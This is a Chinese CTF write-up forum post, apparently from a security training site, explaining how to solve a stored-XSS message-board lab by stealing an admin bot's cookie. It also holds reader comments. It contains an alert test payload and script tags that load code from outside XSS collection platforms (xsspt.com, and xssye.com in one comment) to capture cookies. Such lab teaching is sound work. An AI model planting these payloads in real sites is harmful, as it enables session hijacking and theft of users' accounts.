靶场第四关解题思路--Xss跨站脚本攻击[靶场:为了更多的权限!留言板]

Track-聂风   ·   发表于 2018-5-18   ·   CTF&WP专版

PPT、课程直播、回放已打包至附件! 

直播回放观看:https://ke.qq.com/webcourse/index.html#course_id=275794&term_id=100326238&taid=2183183416440146&vid=y1425jbjoe7


通过对Tips的读取我们明白了这题是一道存储型XSS偷取cookie的题目。(因为flag在cookie中,XSS BOT每10秒就带着有flag的cookie去访问查看留言的页面)


既然是存储型XSS,那么我们先用弹窗去尝试(如果不明白为什么弹窗尝试的话建议先去看我们的直播回放),那么就开始插入<script>alert('zkaq')</script>

为了保险起见我们在所有能输入的地方都写了<script>alert('zkaq')</script>,然后提交留言

成功的弹窗了


因为XSS Payload的强大,也是为了使用的方便,有安全研究者将许多功能封装了起来做成了XSS平台。也是因为插入点一般都有长度限制,所以说xss一般攻击都需要外链。我在这里演示用的是网上的xss平台:http://xsspt.com,需要自己去注册和登录,反正账号密码知道就行了,邮箱反正不验证不建议写真实的。

我们先建立项目,名称什么乱选都行,就是选择模块的时候记得选取这两个

然后你可以看到一叠代码,这个就是两个模块中的XSS Payload,现在你们能够理解为什么要XSS平台了吧,我们用滚轮拖到最下面


<script src=http://xsspt.com/APo4Kj?1526636210></script>

复制下来然后按完成,然后出现项目A 内容0 ,这是因为XSS平台没有收到cookie的缘故,然后回到靶场我们把复制下的这句话插入主题然后提交(我们的插入并不是F12修改源码,而是通过留言板的留言来让网页自动加载出我们插入的恶意语句,因为我们的恶意语句无法显示,有的时候无法看出是否成功插入,所以f12审查源码,看一看是否成功插入)

没显示说明是执行了我插入的语句。然后教你们一个小技巧,在谷歌浏览器可以选择到Sources,然后就可以看到了网页加载了xsspt.com说明XSS成功

然后返回XSS平台看到了有内容了。点击内容名称。

然后展开每一个看看,成功获取了flag



打赏我,让我更有动力~

24 Reply   |  Until 1个月前 | 17707 View

120747572
发表于 2018-6-3

有一点看不懂


评论列表

  • 加载数据中...

编写评论内容

120747572
发表于 2018-6-3

做出来了 耶耶耶

评论列表

  • 加载数据中...

编写评论内容

ydan2010
发表于 2018-7-7

好好学习

评论列表

  • 加载数据中...

编写评论内容

sherlock
发表于 2018-9-18

为什么我的提交不了?


评论列表

  • 加载数据中...

编写评论内容

照旧疯
发表于 2018-9-29

为什么靶场更新后,第四题我插入xss后,只接受到一条记录???后面一直没有接收到记录了。

评论列表

  • 加载数据中...

编写评论内容

神威
发表于 2018-10-27

---------------------------我显示不出 fiag。

评论列表

  • 加载数据中...

编写评论内容

jussi
发表于 2018-12-15

我想问一下,现在查看的脚本是没有运行了吗?? 一直没有 cookie

评论列表

  • 加载数据中...

编写评论内容

orang_boy
发表于 2019-2-16

附件在哪????????

评论列表

  • 加载数据中...

编写评论内容

loinnn
发表于 2019-2-18

我的cookie里面也没有flag呢

评论列表

  • 加载数据中...

编写评论内容

凯撒
发表于 2019-2-25

没flag加1

评论列表

  • 加载数据中...

编写评论内容

1554057597
发表于 2019-3-26

我的cookie里面也没有flag呢  +1 +1 +1 求老师回复~~!

评论列表

  • 加载数据中...

编写评论内容

19991206
发表于 2019-4-30

拿到cookie也进步了管理员后台


评论列表

  • 加载数据中...

编写评论内容

emily
发表于 2019-6-18

cookie 里没有  flag 啊

评论列表

  • 加载数据中...

编写评论内容

奶酪
发表于 2019-6-26

</tExtArEa>'"><sCRiPt sRC=http://xssye.com/HyG4></sCrIpT>


评论列表

  • 加载数据中...

编写评论内容

奶酪
发表于 2019-6-26

在这里不能用

评论列表

  • 加载数据中...

编写评论内容

sujianyu
发表于 2019-7-20

我刚做的,为啥教程和靶机的不一样啊,是你们更新了吗


评论列表

  • 加载数据中...

编写评论内容

放牛的靓仔
发表于 2019-8-25

没有flag的原因一般是因为什么

评论列表

  • 加载数据中...

编写评论内容

rare
发表于 12个月前

继续学习,靶场又有用了。

评论列表

  • 加载数据中...

编写评论内容

324624022a
发表于 7个月前

评论列表

  • 加载数据中...

编写评论内容

渣成沙
发表于 6个月前

评论列表

  • 加载数据中...

编写评论内容
1 2 / 2 跳转 尾页
LoginCan Publish Content
返回顶部

掌控者 © 2016. All Rights Reserved. 掌控者

Powered by 掌控者 Version 2.1.3